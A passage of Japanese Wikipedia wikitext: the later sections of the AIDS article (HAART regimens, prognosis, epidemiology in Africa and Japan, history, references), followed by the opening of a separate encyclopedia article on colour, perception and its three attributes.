{| class="wikitable" style="margin-left:2em; text-align:center; font-size:small;"
|-
! colspan="3" | キードラッグ
|-
| rowspan="2"| NNRTI || 好ましい薬剤 || EFV
|-
| その他の薬剤 || NVP
|-
| rowspan="2"|PI || 好ましい薬剤 || ATV+RTV<br/>DRV+RTV<br/>FPV+RTV<br/>LPV/RTV
|-
| その他の薬剤 || ATV<br/>FPV+RTV<br/>FPV<br/>SQV+RTV
|}
</div>
<div style="float: left; vertical-align: top; margin-right: 1em;">
'''+'''
</div>
<div style="float: left; vertical-align: top; margin-right: 1em;">
{| class="wikitable" style="text-align:center; font-size:small;"
|-
! colspan="3" | バックボーンドラッグ
|-
| rowspan="2"| 2-NRTI || 好ましい薬剤 || ABC/3TC<br/>TDF/FTC<br/>
|-
| その他の薬剤 || AZT/3TC<br/>ddI+3TC
|}
</div>{{clear|left}}
[[免疫機能障害]]ということで[[都道府県]]に申請することにより[[身体障害者手帳]]が交付される。
免疫不全の患者は、感染量に比べると炎症は実は軽度であり、日和見感染症治療中にHAART療法を開始すると免疫が賦活化することによって、日和見感染症が悪化することがある。これを「免疫再構築症候群(IRIS、アイリス)」と呼ぶ。この危険を避けるため、HAART療法は日和見感染症治療後に開始することとなる。
HAART療法は、安定期まで持っていくことができれば、ほとんどAIDSで死亡することはなくなった<ref name=naika.102.3244 />。{{要出典|ガイドラインで用いられているデータも、10年生存率まで記載されており、おそらく平均余命まで行くであろうというのが、大方の予想である(HIVの発見が1981年ということを考えると、ここまでデータがあれば十分である)。|date=2017-05}}また、前述のように2017年に公表された欧州と北米の調査の分析結果では、2008年以降に20歳でウイルス量が少ないうちに抗レトロウイルス薬治療(ART)を開始した場合の平均余命は非感染者とほぼ同水準だった<ref name="平均余命"/>。
現在のHIV療法である多剤併用療法は決して根治的な療法ではなく、血中のウイルス量が検出限界以下となっても、依然としてリンパ節や中枢神経系などにウイルスが駆逐されずに残存(Latent Reservoir)していることが知られており<ref name=naika.102.3244 />、服薬を中止するとただちにウイルスのリバウンドが起こるなどの問題がある。基本的にHAART療法は、一生継続しなければならない。
有名な副作用としては、開始直後から出現し徐々に軽快する胃腸障害や精神障害、開始後1 - 3週で一過性に生じる皮疹、開始後1か月以上経過してから生じ、持続する高脂血症、リポアトロフィー(脂肪分布の変化)、糖代謝異常(高脂血症と併せて年間30パーセントリスクで虚血性心疾患のリスクが高まる<ref name=naika.102.3244 />、かつ、PIとNNRTIはスタチン系と併用禁忌)、末梢神経障害、まれだが重篤な乳酸アシドーシス(NRTIにてミトコンドリアDNA合成を阻害するため)などが知られている。
== 予後 ==
[[File:HIV-AIDS world map - DALY - WHO2004.svg|thumb|upright=1.2|alt=A map of the world where much of it is colored yellow or orange except for sub Saharan Africa which is colored red or dark red|2004年における住民100,000人あたりのHIVやAIDSに対する[[障害調整生命年]]
{{Multicol}}
{{legend|#b3b3b3|<small>データなし</small>}}
{{legend|#ffff65|<small>10年以下</small>}}
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世界的にAIDSは急性経過をとって致死に至るより、むしろ慢性化する感染症である<ref name=Knoll2007/>。予後には個人差があり、CD4陽性細胞数とウイルス量の測定が経過の予測に有用である<ref name=M118>Mandell, Bennett, and Dolan (2010). Chapter 118.</ref>。無治療の場合、HIVの亜型によってHIV感染後の平均生存期間は9年から11年と見積もられる<ref name=UNAIDS2007>{{cite web| author=[[国際連合エイズ合同計画|UNAIDS]], [[世界保健機関|WHO]]| date=December 2007| title=2007 AIDS epidemic update| url=http://data.unaids.org/pub/EPISlides/2007/2007_epiupdate_en.pdf| accessdate = March 12, 2008| format=PDF}}</ref>。さらにAIDSと診断されてなお治療がなされない場合、生存期間は6か月から19か月の間となる<ref name=Morgan2>{{Cite journal |vauthors=Morgan D, Mahe C, Mayanja B, Okongo JM, Lubega R, Whitworth JA | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries? | journal=AIDS | year=2002 | pages=597–632 | volume=16 | issue=4 | pmid=11873003 | doi=10.1097/00002030-200203080-00011}}</ref><ref>{{Cite journal|title= Progression and mortality of untreated HIV-positive individuals living in resource-limited settings: update of literature review and evidence synthesis |vauthors=Zwahlen M, Egger M | url=http://data.unaids.org/pub/Periodical/2006/zwahlen_unaids_hq_05_422204_2007_en.pdf |format=PDF |year=2006|accessdate=March 19, 2008 |version= UNAIDS Obligation HQ/05/422204| archiveurl=https://web.archive.org/web/20080409065844/http://data.unaids.org/pub/Periodical/2006/zwahlen_unaids_hq_05_422204_2007_en.pdf|archivedate=April 9, 2008| deadurl= no}}</ref>。[[HAART療法]]と適切な日和見感染症の予防が行われると死亡率は最大80パーセント減少し、余命は新規に診断された若い成人で20年から50年に延長される<ref name=Knoll2007>{{cite journal |journal= Int J Dermatol |year=2007 |volume=46 |issue=12 |pages=1219–28 |title= Current status of HIV infection: a review for non-HIV-treating physicians |vauthors=Knoll B, Lassmann B, Temesgen Z |pmid=18173512|doi=10.1111/j.1365-4632.2007.03520.x}}</ref><ref name=LifeExpecr2008>{{cite journal |journal= Lancet|year=2008 |volume=372|issue=9635 |pages=293–9 |title=Life expectancy of individuals on combination antiretroviral therapy in high-income countries: a collaborative analysis of 14 cohort studies | author= Antiretroviral Therapy Cohort Collaboration |pmid=18657708 |doi=10.1016/S0140-6736(08)61113-7 |pmc= 3130543}}</ref><ref name=Schack2006>{{cite journal | author=Schackman BR, Gebo KA, Walensky RP, Losina E, Muccio T, Sax PE, Weinstein MC, Seage GR 3rd, Moore RD, Freedberg KA. |title=The lifetime cost of current HIV care in the United States | journal=Med Care | year=2006 |pages=990–997 | volume=44 | issue=11 | pmid=17063130 |doi=10.1097/01.mlr.0000228021.89490.2a}}</ref>。この数値は健常者の余命と比べても3分の2<ref name=LifeExpecr2008/>からほぼ同等の水準である<ref name=Deut2010>{{cite journal|last=Vogel|first=M|author2=Schwarze-Zander, C|author3=Wasmuth, JC|author4=Spengler, U|author5=Sauerbruch, T|author6=Rockstroh, JK|title=The treatment of patients with HIV|journal=Deutsches Ärzteblatt international|date=July 2010|volume=107|issue=28–29|pages=507–15; quiz 516|pmid=20703338|doi=10.3238/arztebl.2010.0507|pmc=2915483}}</ref><ref>{{cite journal|last=van Sighem|first=AI|author2=Gras, LA|author3=Reiss, P|author4=Brinkman, K|author5=de Wolf, F|author6=ATHENA national observational cohort, study|title=Life expectancy of recently diagnosed asymptomatic HIV-infected patients approaches that of uninfected individuals|journal=AIDS (London, England)|date=June 19, 2010|volume=24|issue=10|pages=1527–35|pmid=20467289|doi=10.1097/QAD.0b013e32833a3946}}</ref>。治療開始が遅れると予後はそれほどよくない<ref name=Deut2010/>。たとえばAIDSの診断後に治療を開始すると、余命は最大で10年から40年となる<ref name=Deut2010/><ref name=Knoll2007/>。HIVの感染とともに産まれた新生児に関しては、無治療の場合その半分が2歳までに死亡する<ref name=UN2011ONESIXTY>UNAIDS 2011 pg. 150–160</ref>。
AIDSの直接的な死因は[[日和見感染|日和見感染症]]や[[悪性腫瘍|がん]]であり、いずれも多くの場合、進行性の免疫不全の結果として生じる<ref name=InfectionBook2008>{{cite book|last=Smith|first=[edited by] Blaine T.|title=Concepts in immunology and immunotherapeutics|year=2008|publisher=American Society of Health-System Pharmacists|location=Bethesda, Md.|isbn=978-1-58528-127-5|page=143|url=https://books.google.com/books?id=G46DrdlxNJAC&pg=PA143|edition=4th}}</ref><ref name=Cancer2005>{{cite journal|last=Cheung|first=MC|author2=Pantanowitz, L|author3=Dezube, BJ|title=AIDS-related malignancies: emerging challenges in the era of highly active antiretroviral therapy|journal=The oncologist|date=Jun–Jul 2005|volume=10|issue=6|pages=412–26|pmid=15967835|doi=10.1634/theoncologist.10-6-412}}</ref>。がんのリスクはCD4陽性細胞数が500 /µLを下回ると増加するようである<ref name=Deut2010/>。臨床症状の進行速度は個人差が大きく、患者の感受性や免疫機能<ref name=Tang>{{Cite journal |vauthors=Tang J, Kaslow RA | title=The impact of host genetics on HIV infection and disease progression in the era of highly active antiretroviral therapy | journal=AIDS | year=2003 | pages=S51–S60 | volume=17 | issue=Suppl 4 | pmid=15080180 | doi=10.1097/00002030-200317004-00006}}</ref>、保健施設の利用度、共感染の有無<ref name=Morgan2 /><ref name=Lawn>{{cite journal | author=Lawn SD | title=AIDS in Africa: the impact of co-infections on the pathogenesis of HIV-1 infection | journal=J. Infect. Dis. | year=2004 | pages=1–12 |volume=48 | issue=1| pmid=14667787 | doi=10.1016/j.jinf.2003.09.001}}</ref>、特定のウイルス株への感染といった要素に影響を受けることが示されている<ref name=Campbell>{{cite journal | title=The glutamine-rich region of the HIV-1 Tat protein is involved in T-cell apoptosis | journal=J. Biol. Chem. | year=2004 | pages=48197–48204 | volume=279 | issue=46 | pmid=15331610 | doi=10.1074/jbc.M406195200 |name-list-format=vanc| author1=Campbell GR | author2=Pasquier E | author3=Watkins J | display-authors=3 | last4=Bourgarel-Rey | first4=V | last5=Peyrot | first5=V | last6=Esquieu | first6=D | last7=Barbier | first7=P | last8=De Mareuil | first8=J | last9=Braguer | first9=D}}</ref><ref name=Campbell2>{{cite journal |vauthors=Campbell GR, Watkins JD, Esquieu D, Pasquier E, Loret EP, Spector SA | title=The C terminus of HIV-1 Tat modulates the extent of CD178-mediated apoptosis of T cells | journal=J. Biol. Chem. | year=2005 | pages=38376–39382 | volume=280 | issue=46 |pmid=16155003 | doi=10.1074/jbc.M506630200}}</ref>。
[[結核]]の共感染はAIDS患者における病態進行と死の主要な原因の一つで、HIV感染者の3分の1が結核で死に、25パーセントのHIV関連死の原因となっている<ref>{{cite web|title=Tuberculosis|url=http://www.who.int/mediacentre/factsheets/fs104/en/|work=Fact sheet 104|publisher=World Health Organization|date=March 2012|accessdate=August 29, 2012}}</ref>。またHIV自体も結核のもっとも重要な危険因子の一つである<ref name=WHO2011>{{cite web|title=Global tuberculosis control 2011|author=World Health Organization|url=http://www.who.int/tb/publications/global_report/2011/gtbr11_executive_summary.pdf|year=2011|isbn=978-92-4-156438-0|accessdate=August 29, 2012|archiveurl=https://web.archive.org/web/20120906223650/http://www.who.int/tb/publications/global_report/2011/gtbr11_executive_summary.pdf|archivedate=2012年9月6日|deadlinkdate=2017年10月}}</ref>。[[C型肝炎]]も一般的な共感染症であり、HIVとC型肝炎ウイルスは互いの増悪因子である<ref>{{cite book|last=Pennsylvania|first=Editors, Raphael Rubin, M.D., Professor of Pathology, David S. Strayer, M.D., Ph.D., Professor of Pathology, Department of Pathology and Cell Biology, Jefferson Medical College of Thomas Jefferson University Philadelphia, Pennsylvania ; Founder and Consulting Editor, Emanuel Rubin, M.D., Gonzalo Aponte Distinguished Professor of Pathology, Chairman Emeritus of the Department of Pathology and Cell Biology, Jefferson Medical College of Thomas Jefferson University, Philadelphia,|title=Rubin's pathology : clinicopathologic foundations of medicine|publisher=Wolters Kluwer Health/Lippincott Williams & Wilkins|location=Philadelphia|isbn=978-1-60547-968-2|page=154|url=https://books.google.com/books?id=wb2TzY9AgJ0C&pg=PA154|edition=Sixth|year=2011}}</ref>。AIDS関連のがんでもっとも一般的なのは[[カポジ肉腫]]と[[非ホジキンリンパ腫]]である<ref name=Cancer2005/>。
抗レトロウイルス療法を行っても、HIV感染者は長期的に[[神経認知障害]]<ref name="Woods2009">{{Cite journal |volume=19 |title=Cognitive neuropsychology of HIV-associated neurocognitive disorders | first4=I. |issue=2 |pages=152–168 |journal=Neuropsychology review |pmc=2690857 |last4=Grant | first3=E. |last1=Woods |year=2009 |pmid=19462243 | first1=S. |last2=Moore |last3=Weber | first2=D. |doi=10.1007/s11065-009-9102-5 }}</ref><!-- Woods2009 covers neurocognitive -->、[[骨粗鬆症]]<ref name="Brown2006">{{Cite journal |issue=17 |title=Antiretroviral therapy and the prevalence of osteopenia and osteoporosis: a meta-analytic review |pages=2165–2174 |journal=AIDS (London, England) |volume=20 | first2=R. |last2=Qaqish |pmid=17086056 |last1=Brown | first1=T. |doi=10.1097/QAD.0b013e32801022eb |year=2006 }}</ref><!-- Brown2006 covers osteoarthritis -->、[[神経病]]<ref name="Nicholas2007">{{Cite journal|title=Symptom management and self-care for peripheral neuropathy in HIV/AIDS |journal=AIDS Care | volume=19 |issue=2|pages=179–89 |date=February 2007 |pmid=17364396 |doi=10.1080/09540120600971083|url=|author1=Nicholas, P.K.|author2=Kemppainen, J.K.|author3=Canaval, G.E. |display-authors=3|last4=Corless|first4=I. B.|last5=Sefcik|first5=E. F.|last6=Nokes|first6=K. M.|last7=Bain|first7=C. A.|last8=Kirksey|first8=K. M.|last9=Sanzero Eller|first9=L.}}</ref><!-- Nicholas2007 covers neuropathy -->、がん<ref name="Boshoff2002">{{Cite journal|vauthors=Boshoff C, Weiss R |title=AIDS-related malignancies | journal=Nature Reviews Cancer | year=2002 | pages=373–382 | volume=2 | issue=5 |pmid=12044013 | doi=10.1038/nrc797}}</ref><ref name="Yarchoan2005">{{Cite journal|vauthors=Yarchoan R, Tosato G, Little RF | title=Therapy insight: AIDS-related malignancies – the influence of antiviral therapy on pathogenesis and management | journal=Nat. Clin. Pract. Oncol. | year=2005 | pages=406–415 | volume=2 |issue=8 | pmid=16130937 | doi=10.1038/ncponc0253}}</ref><!-- Boshoff2002 and Yarchoan2005 cover cancer -->、[[腎疾患|腎臓疾患]]<ref name="Post2009">{{Cite journal |year=2009 |pmid=19106702 |last1=Post | first1=F. . |doi=10.1097/QCO.0b013e328320ffec |last2=Holt | first2=S. . |title=Recent developments in HIV and the kidney |issue=1 |pages=43–48 |journal=Current opinion in infectious diseases |volume=22 }}</ref><!-- Post2009 covers HIV/kidney -->、および[[心血管疾患]]など<ref name="Burgoyne2008" /><!-- Burgoyne2008 covers cardiovascular -->を経験する可能性がある。場合によっては、[[リポジストロフィー]]がHIVとその治療によって引き起こされることがある<ref name="Burgoyne2008">{{Cite journal|vauthors=Burgoyne RW, Tan DH |title=Prolongation and quality of life for HIV-infected adults treated with highly active antiretroviral therapy (HAART): a balancing act |journal=J. Antimicrob. Chemother. |volume=61 |issue=3 |pages=469–73|date=March 2008 |pmid=18174196|doi=10.1093/jac/dkm499 |url=http://jac.oxfordjournals.org/cgi/pmidlookup?view=long&pmid=18174196}}</ref>。
== 疫学 ==
=== 世界 ===
2022年末現在、世界のHIV陽性者数は3,900万人、新規HIV感染者数は年間130万人、エイズによる死亡者数は年間63万人となっている<ref name= "UNAIDS2023">[https://www.unaids.org/sites/default/files/media_asset/UNAIDS_FactSheet_en.pdf| FACT SHEET 2023]</ref><ref name= "UNAIDS2023J">[https://api-net.jfap.or.jp/status/world/pdf/factsheet2023.pdf| 「ファクトシート 2023」日本語訳]</ref>。
{|
|-
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[[File:HIV Epidem.png|450px|thumb|right|世界各国におけるHIV感染者の割合
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[[File:Life expectancy in some Southern African countries 1958 to 2003.png|right|295px|thumb|アフリカの深刻な国における平均寿命の変遷]]
|}
=== アフリカ ===
サハラ以南の[[アフリカ]]には全世界の65パーセント近くのHIV陽性者がいるといわれる<ref>[https://api-net.jfap.or.jp/status/world/pdf/global_aids_update2023_overview.pdf|UNAIDS「GLOBAL AIDS UPDATE 2023」概要版 日本語訳]</ref>。2022年末においては全世界のHIV陽性者数は3,900万人のうち、アフリカ(東部、西部、南部、中央アフリカ)が2,560万人を占める<ref name= "UNAIDS2023"/><ref name= "UNAIDS2023J"/>。同年のHIV新規感染者は全世界で130万人、うちアフリカが66万人である<ref name= "UNAIDS2023"/><ref name= "UNAIDS2023J"/>。同年のエイズ死亡者は全世界で63万人で、うちアフリカは38万人である<ref name= "UNAIDS2023"/><ref name= "UNAIDS2023J"/>。
{{要出典|範囲=このうち中東圏に属する北アフリカではAIDS患者がほとんどいないため、この数値のほとんどはブラックアフリカにおける数値である。中でも患者数が多いのは[[南部アフリカ]]であり、[[南アフリカ共和国]]、[[ナミビア]]、[[ボツワナ]]、[[スワジランド]]、[[レソト]]、[[ジンバブエ]]、[[ザンビア]]の7か国では人口の15パーセント以上が感染している。もっとも人口に対する感染率が高いのはボツワナであり、2001年末においては成人人口の38.8パーセントがHIVに感染している|date=2023年9月}}。この影響により、上図のように南部アフリカ諸国においては1990年代以降AIDSによる死者の急増によって[[平均寿命]]が低下し、ボツワナは20歳以上平均寿命が短縮した。
1986年には[[ウガンダ]]が感染率5パーセントを超えていたものの、それ以外に感染率5パーセントを超えるような国はなく、感染者数の多い国もほぼアフリカ中部に限られていた。しかしその後、感染者数は増加の一途をたどり、南部アフリカに向かって徐々に[[パンデミック]]は広がっていった。1991年にはウガンダ、ザンビア、ジンバブエで感染率が20パーセントを超え、1996年にはボツワナ、スワジランド、レソトで20パーセントを超え、2001年には上記の状況となったように、感染は急速に拡大していった。
アフリカにおける感染拡大は、他地域と異なり異性間の性行為によるものが圧倒的に多い。これは性的な寛容さや女性の地位の低さなどによると考えられている<ref>「アフリカ 苦悩する大陸」ロバート・ゲスト著 伊藤真訳 2008年5月15日 東洋経済新報社 p106-107</ref>。同様の理由で、他地域とは異なりアフリカのエイズ患者は女性の方が男性よりも多くなっている。また、AIDSに対する知識の低さや迷信、[[貧困]]や[[戦争]]による影響も感染拡大の一因とされている。現在では治療薬によって病状を食い止めることは可能になっているものの、アフリカの多くの国においては貧困のためそれらの治療薬を入手することができない患者が多い。AIDSによる死者は働き盛りの男女が多いため、死亡率が急速に上昇した国々においては労働人口の減少を招き、経済に悪影響を招いている。さらに、親がエイズによって死亡した子供たちは[[孤児]]となり、[[エイズ孤児]]と呼ばれる社会問題となっている。エイズにかかっている親がミルクを購入できず母乳で幼児を育てざるを得ないため、母乳による母子感染の率も非常に高い。この母子感染による乳児死亡率の激増も、ブラックアフリカ諸国における平均寿命低下の大きな一因となっている。
このエイズ禍に対して、アフリカ諸国の政府の多くは有効な手を打つことができなかった。アフリカ諸国の多くは統治力が弱く保健衛生の制度もあまり整っていなかったうえ、パンデミック初期においてはエイズ治療薬の価格が非常に高く、増え続ける患者に行きわたるだけの治療薬を入手することが不可能だったためである。こうした中で、もっとも早くエイズ対策に取り組んだのは[[ウガンダ]]である。ウガンダは世界で初めてHIVのパンデミックが起こった国家であるが、その後政府はエイズ予防のためのさまざまな政策を実施し、こうしたプログラムが功を奏して感染率は減少した<ref>「アフリカ 苦悩する大陸」ロバート・ゲスト著 伊藤真訳 2008年5月15日 東洋経済新報社 p99-110</ref>。また、[[ボツワナ]]のように患者に対するケアの体制を整えられた国も存在する<ref>「アフリカ 苦悩する大陸」ロバート・ゲスト著 伊藤真訳 2008年5月15日 東洋経済新報社 p178</ref>。ボツワナは2001年末においては成人人口の38.8パーセントがHIVに感染しており、世界でもっともHIV感染率の高い国であったが、同年からボツワナ政府はエイズに対する強力な対抗プログラムを実施し始めた。2001年からはアフリカではじめてエイズ治療が公的資金によって行われるようになり、[[2003年]]には一般の健康診断にエイズ検査が盛り込まれるようになるなど、早期発見および治療に重点が置かれた。またこれと並行し、エイズ予防の啓発プログラムも強力に推進された。こうした政策によってボツワナのエイズ死亡率は減少し、感染率も2008年には23.9パーセントにまで減少した<ref>[[池谷和信]]編著 『ボツワナを知るための52章』 [[明石書店]] 2012年 280-282ページ</ref>。また、[[2001年]]にエイズ治療薬の薬価が急激に低下したこともあり、このころからアフリカ各国においてエイズ対策が本格化し始め、新規感染者は徐々に減少の方向に向かい始め、一度は急減した平均寿命もこれにともない回復の傾向を見せている。しかし一度感染したエイズ患者は完治することはないため、HIV感染者の総数はそれほど減っておらず、依然として相対的に高い感染率となっている。
=== 日本 ===
[[1985年]]、初めてAIDS患者が確認され、[[1989年]]2月17日、「[[後天性免疫不全症候群の予防に関する法律]]」が施行。当初は大半が凝固因子製剤による[[感染症]]例([[薬害エイズ事件]])だった。
2022年の新規HIV感染者報告数・新規AIDS患者報告数は、前年の報告数より減少しており、6年連続での減少となった<ref>[https://api-net.jfap.or.jp/status/japan/data/2023/2308/20230818_coment.pdf|第161回エイズ動向委員会 委員長コメント《令和4年 HIV感染者・AIDS患者の年間新規報告数(確定値)》]</ref>。
日本人患者・感染者の現状は、同性間性的接触による感染が多く、ついで異性間性行為による感染が続いている。静注薬物乱用や母子感染によるものは少ない<ref>[https://api-net.jfap.or.jp/status/japan/data/2023/2308/20230818_coment.pdf|第161回エイズ動向委員会 委員長コメント《令和4年 HIV感染者・AIDS患者の年間新規報告数(確定値)》]</ref>。
== 歴史 ==
{{main|ヒト免疫不全ウイルス}}
HIVの起源は[[カメルーン]]の[[チンパンジー]]という説が有力であり<ref name="pmid16728595">{{cite journal|pmid=16728595|year=2006|month=Jul|title=Chimpanzee reservoirs of pandemic and nonpandemic HIV-1.| volume=313| issue=5786| pages=523-6| pmc=2442710| journal=Science| url=http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2442710/?tool=pubmed|format=Free full text| author1=Gusa, Aa| author2=Buller, Rs| author3=Storch, Ga| author4=Huycke, Mm| author5=MacHado, Lj| author6=Slater, Ln| author7=Stockham, Sl| author8=Massung, Rf}}</ref>、そこから人に感染して世界中に広まっていったと考えられている。[[1981年]]にアメリカの[[ロサンゼルス]]に住む[[同性愛]]男性([[ゲイ]])に初めて発見され、症例報告された。ただし、これはエイズと正式に認定できる初めての例で、疑わしき症例は[[1950年代]]から報告されており、「やせ病(slimming disease)」という疾患群が中部アフリカ各地で報告されていた。1981年の症例報告後、わずか10年程度で感染者は世界中に100万人にまで広がっていった。
当初、アメリカでエイズが広がり始めたころ、原因不明の死の病に対する恐怖感に加えて、感染者にゲイや[[麻薬]]の常習者が多かったことから、感染者に対して社会的な[[偏見]]が持たれたことがあった。現在は病原体としてHIVが同定され、異性間性行為による感染や出産時の母子感染も起こり得ることが知られるようになり、広く一般的な問題として受け止められている<ref>[http://www.hiv-joho.jp/chapter/02.html エイズ情報net:疫学]</ref>。
==出典==
{{脚注ヘルプ}}
{{Reflist|2}}
==参考文献==
{{Refbegin}}
* {{cite journal |url= http://content.nejm.org/cgi/content/full/336/13/919 |first1=Ridzon R|last1= Gallagher |first2=K|last2= Ciesielski |first3=C|last3= Ginsberg |first4= MB|last4= Robertson |first5=BJ|last5= Luo |first6=CC, |last=DeMaria A Jr|year=1997|title=Simultaneous Transmission of Human Immunodeficiency Virus and Hepatitis C Virus from a Needle-Stick Injury|journal= N Engl J Med|number=336|pages=919-22}}
* {{cite book |url=http://content.nejm.org/cgi/content/extract/339/1/33 |first1=Kahn |last=Jo|last2= Walker|first2= BD|year=1998|title= Acute human immunodeficiency virus type 1 infection|journal=N Engl J Med|number= 339|pages=33-39}}
* {{cite book |和書|title=アフリカ 苦悩する大陸|author=ロバート・ゲスト|others=伊藤真 (訳)|date= 2008年5月15日 |publisher=東洋経済新報社|ref={{sfnref|ゲスト|2008}}|ncid= BA85746242|isbn= 9784492211779}}
* {{cite book | editor1-last = Mandell | editor1-first = Gerald L. | editor2-last = Bennett | editor2-first =John E. | editor3-last = Dolin | editor3-first = Raphael |title=Mandell, Douglas, and Bennett's Principles and Practice of Infectious Diseases | year=2010 | publisher = Churchill Livingstone/[[エルゼビア]] | location = Philadelphia, PA|isbn=978-0-443-06839-3 | edition = 7th}}
* {{cite book|author=[[国際連合エイズ合同計画|Joint United Nations Programme on HIV/AIDS]] (UNAIDS) |title=Global HIV/AIDS Response, Epidemic update and health sector progress towards universal access|year=2011|publisher=国際連合エイズ合同計画|url=http://www.unaids.org/en/media/unaids/contentassets/documents/unaidspublication/2011/20111130_UA_Report_en.pdf}}
{{Refend}}
'''[https://aidsinfo.nih.gov/guidelines 診療ガイドライン]'''
:携帯機器用アプリ
:*[https://aidsinfo.nih.gov/apps AIDSinfo Guidelines] 「診療ガイドライン」、「薬剤データベース」、「用語集」の3種類あり、iOS版とAndroid版を提供。[[アメリカ国立医学図書館]]提供。
== 関連項目 ==
{{Commonscat|AIDS}}
* [[国立感染症研究所]]
* [[World Community Grid]]
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6,807 | 色 |
色()は、可視光の組成の差によって感覚質の差が認められる視知覚である色知覚、および、色知覚を起こす刺激である色刺激を指す。
色の認識には、光源・物体・視覚の三要素が必要である。
色と光に何らかの関係があることは古くから知られており、アリストテレスは「色は光と闇、白と黒の間から生じる」と述べている。しかし、色の本質が明らかになるのは20世紀になってからである。現代科学では色は目の前にあるというより色彩の認識として存在すると考えられている。
色覚は、目を受容器とする感覚である視覚の機能のひとつであり、色刺激に由来する知覚である色知覚を司る。色知覚は、質量や体積のような機械的な物理量ではなく、音の大きさのような心理物理量である。例えば、物理的な対応物が擬似的に存在しないのに色を知覚する例として、ベンハムの独楽がある。同一の色刺激であっても同一の色知覚が成立するとは限らず、前後の知覚や観測者の状態によって、結果は異なる。
色は物理学上では光源色と物体色に大きく分けられる。
炎や電球が写り込んだ写真では実際にそこから光を放射しているように見えるなど、実際の色の認識は光源色と物体色では説明できないことが知られている。そのため色彩学では面色と表面色という色の見え方の違いが重要とされている。
色の見えは光源や物体によって変化するが、色味とその濃淡(強度)や明暗を具えている点で共通する。これは、色相(Hue)・彩度(Saturation・Chroma)・明度(Value・Brightness)と呼ばれる。色相・彩度・明度は合わせて色の三属性と呼ぶ。色空間の一つHSV色空間(英: HSV model)は、この三つの成分からなる。
白や灰色、黒のグレースケールは、明度で区別され、色相を含まず彩度が0である。このような色を無彩色と呼ぶ。グレースケール以外の色は三属性すべてを持つ有彩色である。
血色などは体調などに対する反応に過ぎず、色ではない。上記の様に、色の三属性を全てを具えたものが色であり、「色には明度が無い」とか「白や黒は色ではない」などと主張している人たちが、志向しているものは色ではない。
色相は赤・橙・黄・緑・青・紫といった色の様相の相違である。「ピンク色」「レモン色」「ライム色」「空色」「赤茶色」「薄紫色」「肌色」「水色」などの色合いを表現する名詞と知覚内容を表す述語、そして、固有色名は色相を表現する語彙ではない。
色相は特定の波長が際立っていることによる変化であり、際立った波長の範囲によって、定性的に記述できる。ただし、常に同じ帯域が同じ色に見える訳ではない。連続して変化していく色味を円環上に並べたものを色相環と言う。白、黒、グレーを除く全ての色は、色相環に配置される色相のいずれかに属する。
色相の連続的な変化を示す例を3つ挙げる。
彩度は色の鮮やかさを意味する。物体の分光反射率が平坦になる程、彩度は低くなる。また、色相によって彩度が高いときの明度が異なる。
彩度の連続的な変化を示す例を3つ挙げる。
明度は色の明るさを意味する。明度の高低は、物体の反射率との相関性が高い。光の明暗に関して、明るさ (brightness, luminousity) があるが同様の知覚内容を指していると言える。色相に属さず、明度の違いによって区別される、白、黒、グレーなどの色を無彩色という。対して、色味を僅かでも持つ色は有彩色と呼ばれる。純色の中では、ニュートラルな黄色が最も明度が高く、ニュートラルな青は最も明度が低い。
明度の連続的な変化を示す。
蛍光色や金属光沢を有する色は特殊な色として挙げることができる。なお、ここに掲げる色、特に特定条件における特定の部分の色を色の三属性で指定することは可能だが、指定される条件への依存度が大きく、色の指定としては有効ではない。
蛍光顔料には、昼光蛍光顔料(有機蛍光顔料)と燐光顔料(無機蓄光顔料)がある。昼光蛍光顔料は蛍光染料の加工品である。昼光蛍光顔料は紫外線も含め吸収した光エネルギーの波長を変え、通常の反射光と合わせて反射する。このため、高い明度、高い彩度を示す。波長の移動は、長波長側に向かって起こるので、蛍光色は暖色に多い。燐光顔料は、残光性がある物で、蓄光顔料とも言う。有機蛍光顔料とは異なり、顔料そのものの色は弱く、夜光顔料に利用される。
光の波長あるいはそれ以下の微細構造による干渉や回折、散乱により物体が色付く現象を構造色と呼ぶ。構造色として有名なものに、昆虫のモルフォチョウ、コウトウキシタアゲハ、タマムシ、他にカモの羽根、宝石のオパールなどがある。油膜やコンパクトディスクの記録面の虹色も構造色といえる。
金属の粉末で金属光沢を有する粉末を顕色成分とする塗料などの色を金属色と称することがある。金属光沢は、金物一般に特有な、滑らかな表面に見られる光を反射する性質のことである。
類語に色彩()がある。光の刺激による視覚系の感覚で物体の表面がある部分の波長の光を反射することによる「物体色」と、光源から発する一定の波長の光による「光源色」とに大別される。デザインの対象となるのはおもに物体色で、その見え方は、色相・明度・彩度の三属性で表される。
日本産業規格(JIS)においては色と同義語であるものの、彩り、傾向などを指す語として知られることから、日常語のみならず、色を狭義に捉えようとする、科学、工業などの文脈においても広く色の語が用いられている。
ある対象の地域・地区・施設などの色彩に関する計画を周辺の自然環境、人工環境に配慮して行うことを色彩計画という。
自然、地形、景観的特長を把握するとともに、対象の種別を考慮して計画を進めていく必要がある。また、計画される色彩が整備内容と整合するか、心理的な印象と整合するかなどの検証も求められる。
景観対象がもつ色彩的構成がその景観の印象を決定づけるような場合の表現を色彩景観と呼ぶが、「空」などはその典型例であり、落ち着いた景観、華やぐような景観など、人の感情に訴える風景を生み出すうえで色彩の果たす役割は大きい。
また、2つ以上の色を組み合わせて「間 (ま)」をつくり出すことを色彩調和と呼び、「まとまりのある美しさ」人の感情の快・不快に関係し、色彩調和論も著者の数だけの法則があるといわれている。
物理学的には、光学を基礎とし、色の変化は、物体と物体を照らす光との相関を用いて説明される。物体に入射する何らかの波長の光が観測者の方向へ反射(正反射・乱反射を含む)する際に、その物体の物性に応じた特定の波長のみが反射されそれ以外は吸収される(=波長に応じ反射率が異なる)という現象が起こる。観測者には反射された光だけが届くため、その波長に基づき判断される色が、「その物体の色」として認識される(つまり、光そのものに色という性質はなく、光を受けた器官が色を作っている)。
またそのように観測者に届く光とそれに対する認識とに左右されるため、一般的な色は、人間の視覚すなわち可視光線の範囲内を基準として表現されている。逆に言えば、可視光線の範囲を超えた波長の光について観測すると、可視光域で見た場合に比べて全く別の「色」や模様になっている物体もある。例えばチョウの羽根の模様は紫外線領域では人の肉眼で見る場合とはまた異なる鮮やかな模様を描き出し、真っ黒に焼け焦げた新聞紙などは赤外線領域のある波長では燃えた紙とインクが燃えた部分とで反射率が異なるため書かれていた元の内容を読むことが出来る。
